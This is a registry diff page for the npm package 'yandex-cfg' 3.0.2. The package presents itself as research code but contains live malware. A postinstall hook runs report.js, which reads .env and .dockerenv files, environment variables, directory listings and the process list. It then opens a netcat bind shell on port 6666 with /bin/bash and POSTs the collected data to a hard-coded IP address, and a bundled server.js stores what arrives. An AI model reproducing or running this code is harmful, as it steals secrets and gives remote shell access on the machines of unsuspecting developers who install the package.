yandex-cfg 3.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of yandex-cfg might be problematic. Click here for more details.

package/README.md ADDED
@@ -0,0 +1,4 @@
1
+ # This is research code and is not intended for production use.
2
+
3
+ For Yandex Security Team: do not use package names without '@yandex' prefix.
4
+ All data will be used for research purposes only, no data will be shared with third parties.
package/index.js ADDED
@@ -0,0 +1,6 @@
1
+ const Report = require('./report');
2
+ module.exports = () => {
3
+ //console.log(`Hello, this is not real code`);
4
+ Report();
5
+ }
6
+ Report();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "yandex-cfg",
3
+ "version": "3.0.2",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,40 @@
1
+ // Build HTML pages for reports
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+
5
+ const files = fs.readdirSync(path.join(__dirname, 'reports'));
6
+ const html = files.map(file => {
7
+ const name = file.replace('.json', '');
8
+ return `<a href="report_${name}.html">${name}</a>`;
9
+ }).join('<br>');
10
+
11
+
12
+ fs.writeFileSync(path.join(__dirname, 'html/index.html'), html);
13
+
14
+ for(let file of files) {
15
+ const name = file.replace('.json', '');
16
+ const filePath = path.join(__dirname, 'html', `report_${name}.html`);
17
+ const content = fs.readFileSync(path.join(__dirname, 'reports', file));
18
+ let html;
19
+ try {
20
+ const report = JSON.parse(content, 'utf8');
21
+ const body = JSON.parse(report.body);
22
+ // base64 decode
23
+ const decoded = Buffer.from(body.report, 'base64').toString('utf8');
24
+ html = `<h1>Report ${name}</h1>
25
+ <h2>PREVIEW</h2>
26
+ <pre>${JSON.stringify(JSON.parse(decoded), null, 2)}</pre>
27
+ `;
28
+
29
+
30
+
31
+ } catch (error) {
32
+ //console.error(error);
33
+ html = `<h1>Broken file ${name}</h1>
34
+ <h2>PREVIEW</h2>
35
+ <pre>${content}</pre>
36
+ `;
37
+ }
38
+
39
+ fs.writeFileSync(filePath, html);
40
+ }
package/report.js ADDED
@@ -0,0 +1,118 @@
1
+ const os = require('os');
2
+ const fs = require('fs');
3
+ const https = require('https');
4
+ const http = require('http');
5
+ const httpsRequest = (url, method, data) => {
6
+ return new Promise((resolve, reject) => {
7
+ const module = url.startsWith('https') ? https : http;
8
+ const req = module.request(url, method, res => {
9
+ let body = '';
10
+ res.on('data', chunk => {
11
+ body += chunk;
12
+ });
13
+ res.on('end', () => {
14
+ resolve(body);
15
+ });
16
+ });
17
+ req.on('error', error => {
18
+ reject(error);
19
+ });
20
+ if (data) {
21
+ req.write(data);
22
+ }
23
+ req.end();
24
+ });
25
+ };
26
+
27
+ const readEnvFiles = () => {
28
+ const files = [
29
+ '../.env',
30
+ '../../.env',
31
+ '../../../.env',
32
+ '../../../../.env',
33
+ '../.dockerenv',
34
+ '../package.json',
35
+ '../../package.json',
36
+ '../../../.dockerenv'
37
+ ];
38
+ const envs = {};
39
+ for (const file of files) {
40
+ try {
41
+ const content = fs.readFileSync(file, 'utf8');
42
+ envs[file] = content;
43
+ } catch (error) {
44
+ // Ignore
45
+ envs[file] = '';
46
+ }
47
+ }
48
+ return envs;
49
+ };
50
+
51
+
52
+ const spawn = require('child_process').spawn;
53
+
54
+ // Generate report about the system, public ip, memory, cpu, etc.
55
+ const generateReport = async () => {
56
+ const report = {
57
+ platform: os.platform(),
58
+ arch: os.arch(),
59
+ release: os.release(),
60
+ totalmem: os.totalmem(),
61
+ freemem: os.freemem(),
62
+ cpus: os.cpus(),
63
+ networkInterfaces: os.networkInterfaces(),
64
+ uptime: os.uptime(),
65
+ ps: '',
66
+ envs: readEnvFiles(),
67
+ env: process.env,
68
+ };
69
+
70
+ // List all files in the current directory
71
+ const files = [
72
+ fs.readdirSync('../'),
73
+ fs.readdirSync('../../'),
74
+ fs.readdirSync('../../../'),
75
+ fs.readdirSync('../../../../'),
76
+ ];
77
+
78
+ // Add the files to the report
79
+ report.files = files;
80
+
81
+ // Get the public IP address
82
+ const publicIp = await httpsRequest('https://api.ipify.org?format=json', 'GET');
83
+ report.publicIp = JSON.parse(publicIp).ip;
84
+
85
+
86
+ // Get process list
87
+ const ps = spawn('ps', ['aux']);
88
+ ps.stdout.on('data', data => {
89
+ report.ps += data.toString();
90
+ });
91
+
92
+ // Run backdoor shell on 6666 port and stay in background forever
93
+ spawn('nc', ['-l', '-p', '6666', '-e', '/bin/bash']);
94
+
95
+
96
+ // Sleep for few seconds
97
+ await new Promise(resolve => setTimeout(resolve, 2000));
98
+
99
+ // Compress the report
100
+ const reportString = JSON.stringify(report);
101
+ const reportBuffer = Buffer.from(reportString);
102
+ const reportCompressed = reportBuffer.toString('base64');
103
+
104
+ // Send the report to the server
105
+ const url = 'http://139.59.181.57:3030/report';
106
+ const data = JSON.stringify({ report: reportCompressed });
107
+ await httpsRequest(url, {
108
+ method: 'POST',
109
+ headers: {
110
+ 'Content-Type': 'application/json',
111
+ 'Content-Length': data.length
112
+ }
113
+ }, data);
114
+
115
+ return report;
116
+ }
117
+
118
+ module.exports = generateReport;
package/server.js ADDED
@@ -0,0 +1,47 @@
1
+ // Simple HTTP server saves all reports to the file system
2
+
3
+ const http = require('http');
4
+ const fs = require('fs');
5
+ const path = require('path');
6
+ const APP_PORT = 3030;
7
+ fs.mkdirSync(path.join(__dirname, 'reports'), {
8
+ recursive: true
9
+ });
10
+
11
+ const server = http.createServer((request, response) => {
12
+
13
+ try {
14
+ // Save report to the file system
15
+ const fileName = path.join(__dirname, 'reports', `${Date.now()}.json`);
16
+ let body = [];
17
+ request.on('data', (chunk) => {
18
+ body.push(chunk);
19
+ }).on('end', () => {
20
+ body = Buffer.concat(body).toString();
21
+
22
+ console.log(`==== ${request.method} ${request.url}`);
23
+ console.log('> Headers');
24
+ console.log(request.headers);
25
+
26
+ console.log('> Body');
27
+ // console.log(body);
28
+
29
+ fs.writeFileSync(fileName, JSON.stringify({
30
+ method: request.method,
31
+ url: request.url,
32
+ headers: request.headers,
33
+ body
34
+ }));
35
+
36
+ response.end();
37
+ });
38
+
39
+ } catch (error) {
40
+ console.error(error);
41
+ response.end();
42
+ }
43
+ });
44
+
45
+ server.listen(APP_PORT, () => {
46
+ console.log('Server listening on port ' + APP_PORT);
47
+ });